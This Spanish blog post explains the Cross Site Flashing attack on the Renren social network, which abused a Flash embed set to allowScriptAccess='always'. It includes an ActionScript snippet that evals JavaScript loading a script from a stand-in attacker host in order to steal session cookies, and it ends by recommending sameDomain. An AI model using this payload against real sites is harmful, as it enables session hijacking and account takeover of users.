31 ago. 2009

XSF - Cross Site Flashing

Supongo que nuestros lectores habrán oido hablar del gusano que afectó a la red social Twitter allá por el mes de abril. De hecho, Laura publicó un artículo sobre la contratación del creador del mismo aquí. El ataque consistía en que gracias a una vulnerabilidad del tipo XSS (Cross-Site Scripting) permitía suplantar la identidad de un montón de usuarios atacados y twittear desde su cuenta.

En este caso, el objetivo de los ataques ha sido la red social china Renren. Para ello se ha utilizado una variante de ataque XSS encapsulado mediante archivos Flash. Como resultado, este ataque se ha llamado XSF o Cross Site Flashing.

¿Cómo se llevó a cabo el ataque?
La red social Renren permite, al igual que otras como Facebook o Tuenti, permite compartir contenido multimedia. Para ello se puede hacer mediante videos o en formato Flash. Para este último, el enlace a un fichero SWF, se hace mediante una función llamada playswf() que crea una porción de código así:
<embed src=”"+o.filename+”” type=”application/x-shockwave-flash”

“+”width=”"+(o.width||”320″)+”” height=”"+(o.height||”240″)+”” allowFullScreen=”true”

wmode=”"+(o.wmode||”transparent”)+”” allowScriptAccess=”always” ></embed>

Atención especial merece el parámetro "allowScriptAccess". Gracias a él se limita el nivel de acceso que el objeto "embebido" tendrá sobre el resto de la página HTML. Si se asigna "allowScriptAccess=sameDomain" el objeto flash, sólo tendrá acceso a la página HTML si se llama desde el mismo dominio, haciendo falta que el atacante subiera el fichero a ejecutar al mismo dominio, utilizando alguna otra técnica.
Sin embargo, en condiciones en las que el parámetro allowScriptAccess tenga el valor "always", el objeto flash tiene acceso a cualquier parte de la sesión HTML, como por ejemplo, las cookies. 1, 2, 3,... responda otra vez: Las Cookies.

A partir de aquí el resto del ataque consiste en crear un objeto flash en el que se pueda incluir en el fichero Flash una porción de código que ejecute un Javascript malicioso que envíe las cookies de los usuarios que vean ese "inocente" flash a una localización remota. A partir de ahí el atacante contará con acceso a la identidad de un montón de usuarios.

Por ejemplo,

var fun = 'var x=document.createElement("SCRIPT");x.src="http://www.delatacante.com/malicioso.js"; x.defer=true;document.getElementsByTagName("HEAD")[0].appendChild(x);';

    flash.external.ExternalInterface.call('eval', fun);

Asimismo, el usuario final verá el flash sin saber que ha ejecutado código Javascript malicioso robando su cookie.

El ataque a la red social Renren, además consistía en aprovechar las credenciales del individuo para enviar el video a todos sus contactos.

Como podéis ver, XSS encapsulado en un objeto Flash embebido en una página web... gracias a excesivos permisos para ese objeto. Recomendación, si tenéis algún tipo de sitio web que permita compartir este tipo ficheros, forzad el parámetro "allowScriptAccess" a "samedomain".

Fuente: http://www.securitybydefault.com/

Author & Editor

Ingeniero Civil en Computación (Universidad de Chile FCFM) y Diplomado en Gestión y Evaluación de Proyectos TI (Universidad de Chile FEN). Actualmente trabajo como Project Manager en varios proyectos y como asesor tecnológico para empresas.

0 Notaciones:

Publicar un comentario

Nota: solo los miembros de este blog pueden publicar comentarios.

Labels

0-day (12) 1337day (1) 8.8 (2) Adobe Acrobat (1) Android (2) Anonimato (1) Anonymous (9) BackDoor (2) BackTrack (15) badUSB (1) Base64 (1) Black Hat (7) BlackHat (1) Blackploit (25) Brute Force (3) Bug (106) Bypass Password (1) Bypass Redirect (1) C99 Shell (1) Carding (1) CheatSheet (15) Chilean Way (1) Conference (10) Cryptsetup (1) CSRF (1) DDoS (11) DEF CON (3) DEFCON (7) Diapositivas (1) Diseño Web (1) Distro Linux (27) Documental (2) DoS (2) Drupal (1) DuckDuckGo (1) E-zine (18) Ekoparty (1) Escaneo (4) España (1) Exploit (64) Ezine (1) Facebook (1) Fast-Info (44) FBI (1) Ficheros Binarios (1) Firefox (4) Flash (2) Forense (9) Fuerza Bruta (11) Fuga de Datos (1) GhostShell (1) GNU/Linux (4) Google (2) Guía (1) Hack T00LZ (130) Hack Tips (63) Hacked (6) Hacking (18) Hacking Hardware (5) HashCat (1) Herramientas (121) HighSecCON (1) Humor Geek (13) Infografía (1) Ingeniería Social (5) Inj3ct0r (1) Internet Explorer (3) Java (7) JavaScript (2) Kali (3) KitPloit (1) Leaks (21) Linux OS (79) LulzSec (1) Mac OS (10) Magazine (1) Malaware (3) Malaware Tools (12) Malware (1) Man in the Middle (15) Manuales (3) MD5 CRACK (4) Metasploit (57) MSSQL (1) MySQL (6) MySQL CRACK (1) Nmap (6) Nmap NSE (2) Noticias (193) NTLM CRACK (1) Ofuscar (5) OpenSolaris OS (1) OpenSSL (1) ORACLE (1) OWASP (3) Paper (10) PDF (7) PenTest (14) Perl (2) Phearking (13) Phishing (3) PHP (13) phpMyAdmin (1) PoC (1) Premios Bitacoras (1) Presentaciones (11) PRISM (1) Privacidad (2) Programación (12) Programas Linux (41) Programas Windows (41) Pwned (1) Python (5) Reconocimiento (5) Ruby (2) s (1) Scripts (7) Seguridad (145) Seguridad Web (140) Seguridad Wireless (19) Sensitive Data Exposure (2) SHA1 CRACK (1) Shellshock (1) Slides (1) Spoofing (1) Spyware (1) SQLi (19) SQLi Tools (7) SQLMap (2) SSH (1) Textos (74) Tips (57) Troyanos y Virus (11) Trucos (7) Trucos Win (7) Turiales (56) Tutoriales (18) Twitter (1) Ubuntu (2) Underc0de (1) UnderDOCS (1) Unlock (1) URL Redirection (1) UXSS (1) vBulletin (1) Video (48) Virtualización (2) Web T00LZ (17) Wifislax (1) Wikileaks (1) WikiRebels (1) Windows OS (66) Wireless Tools (13) XSS (16) Youtube (1)

 
biz.